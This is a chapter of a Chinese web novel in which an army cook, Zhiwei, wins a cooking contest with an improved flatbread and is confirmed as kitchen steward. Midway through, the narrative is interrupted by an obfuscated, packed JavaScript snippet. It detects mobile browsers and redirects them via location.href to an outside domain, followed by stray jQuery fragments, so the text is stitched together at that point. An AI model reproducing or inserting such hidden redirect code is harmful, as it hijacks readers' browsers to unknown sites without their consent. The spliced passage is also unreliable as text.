“刺啦——!”
一股浓郁的、混合着焦香的麦香味瞬间爆开,霸道地驱散了伙房区的沉闷!这香气如此陌生又如此勾人,引得周围所有忙碌的士兵都忍不住抽动鼻子,停下了手里的动作,目光齐刷刷地投向那口锅。
“看什么看?继续干活!”知微头也不抬地吼了一嗓子,手上动作飞快,用大铲子快速翻炒着锅里的粉末。金黄色的粉末在油脂的包裹下渐渐变得油润焦香,那香味愈发浓郁诱人。
炒香的粉末被盛出备用。知微马不停蹄,又指挥人在另一口大锅里烧上水。水沸后,她将耐煮的野葱、荠菜和少量可食用的野草切成段一股脑倒进去焯水。碧绿的菜叶在沸水中翻滚几下,迅速褪去生涩,染上鲜亮的色泽。
趁这功夫,知微又取过一个最大的陶盆,倒入足量的、散发着诱人焦香的炒干粮粉,再磕入那一小篓宝贵的鸡蛋,“哗啦”一声,金黄的蛋液瞬间包裹了粉末。撒上一把珍贵的盐末,又狠狠舀了几大勺刚才炒粉时煸出的焦黄酥脆的猪油渣,最后将挤干水分的野菜碎倒入盆中。
一切准备就绪,知微深吸一口气,撸起袖子,两只手毫不犹豫地插进这盆混合物的深处,像揉面一样,她十指用力抓拌、挤压、揉搓。汗水顺着她的鬓角流下滴进盆里,粗粝的粉末磨着她的指腹,油腻的混合物沾满了手臂,但她眼神专注,动作都带着一股狠劲。
很快,一种湿润粘稠、金黄油亮、夹杂着翠绿野菜碎和焦黄油渣的糊状物在盆中成型,散发出一种奇异的、令人垂涎的复合香味。
“锅烧热,刷油!”知微抹了把汗,脸上蹭了更多面粉油渍,像个花猫,但她精神得很,从灶台起身,抻着腰对临时拉来当帮工的士兵下令。
烧热的薄铁锅刷上一层薄薄的猪油,知微舀起一大勺面糊,一声响亮的油爆声中,面糊倒入锅中。知微手腕灵活而沉稳地一转、一摊,一个薄薄的、圆形的饼坯瞬间在锅底成型。
知微全神贯注,瞅准时机,手腕又猛地一颠。铁锅在空中划过一道流畅的弧线,薄饼如同金色的圆月,轻盈地翻了个身,露出同样金黄、点缀着碧绿野菜碎和焦黄油渣的饼面。浓郁的香气如同实质般喷薄而出,直冲云霄。
“哇!”
周围响起一片此起彼伏的、压抑不住的抽气声和惊叹声。
一个,两个,三个……知微的动作越来越快,越来越娴熟流畅。她化身为一架精准的烹饪机器,汗水浸透了她的鬓发和后背粗布衣,但她的脊背挺得笔直,眼神专注而明亮。很快,一摞摞热气腾腾、两面金黄、散发着致命香气的“改良版干粮饼”就堆满了旁边的竹匾,像一座散发着光芒的小金山。
“开吃了——!”知微深吸一口气,叉着腰,用尽全身力气吼.许是太累,她的声音显得有些沙哑,却带着不容置疑的穿透力和一股扬眉吐气的痛快,“今日特供——特制‘金玉满堂饼’,谁要试吃?”
“我来!”
“我先!”
众人瞬间沸腾。那诱人的香气早已勾得他们腹中雷鸣、口水直流。此刻听到号令,立刻一个个眼睛都死死盯着那摞金灿灿的饼子,哪还有半点之前的沮丧和怀疑。
拿到饼的士兵迫不及待地狠狠咬上一口。
“咔嚓!”外层焦脆,牙齿陷入内里,更是奇妙的软糯咸香。焦香的炒粉颗粒感混合着油渣的酥脆脂香,野菜的清新恰到好处地中和了油腻,一口下去,暖意瞬间从胃里升腾,驱散了饥饿和虚弱。
“我的娘诶!这也太香了!”
“神了!真神了。”
“老子当兵五年,啃过的干粮饼能堆成山,头一回吃到这么好吃的!”
“这比俺娘烙的饼子还香、还绝!”
“老张呢?老张快来尝尝!我敢说这味道你下辈子也做不出!”
赞美声、惊呼声、狼吞虎咽的咀嚼声此起彼伏,人群自动分开一条道,张兴中被几个士兵连推带搡地挤到最前面,眼神复杂地看着那金灿灿、香喷喷的饼,又看看那些吃得满嘴流油、赞不绝口的同袍,最后,目光落回到灶台前那个满身油污汗水、却像打了胜仗的知微身上。
他沉默地拿起一块刚出锅、还烫手的饼,狠狠咬了一大口。
“咔嚓……唔……”从未有过的奇妙感觉瞬间冲击了张兴中那被粗粝食物磨得几乎麻木的味蕾。这味道……他咀嚼的动作不由自主地慢了下来,死死盯着手里的饼,又猛地看向知微,将自己那油腻腻、沾着灰的袖口藏好。
半晌,在周围无数道目光的注视下,张兴中笑了。他把剩下的大半个饼三两口囫囵塞进嘴里,用力咽下,哪怕是被呛住也没饮一滴水,复杂的情绪连同饼渣卡在喉咙里边久滞不下。好半晌后,食道里总算没了食物,张兴中抹了把嘴上的油渍,深吸一口气,走到知微面前。
知微正给一个瘦小的士兵递饼,抬眼看他,挑眉,没说话,眼神里带着一丝疲惫,但更多的是平静。
张兴中朝着知微,重重地抱了抱拳:“这下是真的不用比了。”
就算是比拼,他脑海中构思的点子无非是给干粮饼的配方做些改善,加些水油之类的,还有涂上一层蜜来烤制增香之类的。而那终究是从一到二的改变,知微做的,却是从零到一的革新。
“我这辈子都做不出来这等食膳。”
张兴中那张长年暴晒下发干的脸上划过一丝羞愧的红晕,似乎是在嘲弄自己当了这么多年的炊事兵却仍是毫无实力。张兴中摆了摆头,挤出人群,一瘸一拐的背影竟显出几分落寞。
之前瞧不起知微的老邓也是红了脸,半曲着身子向知微表示歉意。
周围的士兵静了一瞬,随即爆发出对知微表示祝贺的掌声。
知微赢了,不是不战而胜,而是无人敢战。
知微紧绷的肩膀终于彻底松了下来,长长地、深深地舒了一口气,嘴角忍不住勾起一丝极淡的、属于胜利者的疲惫笑意,但她很快又想到了面粉案的扑朔,心中仍是愁云漫天。
知微压下那点得意,对着众人挥挥手,声音缓和下来:“行了行了,吃饱了便都散了吧,别都围着。”
喧闹的人群带着满足的饱嗝和笑容渐渐散去。知微望着远去的人群,感觉全身骨头都快散了架,她拖着沉重的脚步走到水缸边,舀起一瓢凉水,刚想灌下去解渴。
“凉水伤胃。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038516|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一只骨节分明、干净有力的手伸过来,稳稳地按住了瓢沿。
知微一愣,抬头。是孙为。他不知何时站到了她身边,递过来一个粗陶碗,里面是温热的、飘着几片野菜叶的清汤。
孙为脸上带着真诚的笑意和毫不掩饰的敬佩:“辛苦了,晏管事。喝点热的。”
知微心头微暖,接过碗:“多谢。”
“我说你行的。”孙为扬眉,“没输。”
知微道:“两全其美的好方法呢。你老早便知道张疱正对饮食改良的重视了吧。”
“你对老张了解得一清二楚。”
“凑巧凑巧。”孙为继续笑。
“总之还得多感谢你,虽然途中也出了不少岔子……”知微刚想和孙为道一道自己发觉毒面粉存在的前因后果,眼角余光却瞥见不远处的帅帐掀开了帘子。
祝隶稷一脚迈步,站在帘子外边,身姿笔挺如松。夕阳熔金,他越过散去的人群,朝粮仓走来,目光精准地落在知微身上。
此刻的知微满面憔悴,脸上沾满了面粉与油渍,汗水也浸透鬓角,却又神采奕奕。知微难得没有回避祝隶稷的审视,反倒是也学着对方的样子,挺起骄傲的头颅。
斜阳未坠,两人对上眼。
祝隶稷的眼神不减惯有的淡漠,又似乎多了点别的什么。知微敏锐地捕捉到那一闪而逝的、近乎探究的停留。她在岭南也见过类似的眼神,于是她毫不示弱地回望过去,甚至带着一丝刚刚胜利的余威。
在知微的视角盲区,孙为也默默注视着祝隶稷,难得的神色肃穆,压了压眼眶。
“凑合。”祝隶稷擦过知微的肩,用眼神屏退了孙为。
他继续道:“全查清了,是蜀郡的叛军一早混入了军队,在运送粮食的时候动了手脚。”
“你是承认我清白了?”
祝隶稷不理:“我若是你,便不会一股脑冲向军帐,营帐里人数不少,万一其中混入了真凶或内应你该如何,万一此事得不到妥善处理,扰乱了军心又当如何。”
“那是人命关天的事!”
“所以说,你只能是个伙夫。”祝隶稷动了动脚尖,手靠后背过去,“若想走得更远,成大事者,必当取舍……”
“伙夫又如何?”知微打断了祝隶稷的话,“大人,我知道在你心中总有更多、更深的利益考量。”
“您或许会不解我的很多举动,比如军粮,在您心中,它本就只是用来果腹的存在,至于味道如何,不影响战力您便不关心。”
“这是大人的大局观,我无话可说。可,作为一名厨师,我也有自己的理想。”知微跪地,膝盖弯着,背依旧绷得很直。
“有一份心力做一分的事,可能在大人眼中渺小,可这是我眼中能为军队做得最大的事情了。因此、因此……”手指不受控制地发颤,知微的话也变得磕绊。
祝隶稷终于放下背身的手,嘴角向上,第一次正视知微。
“愚不可及。”他道。
“既如此,我便全了你的心愿,顺了你的道义。”
“即刻取消你的代理,现在,你是名正言顺的管事了。”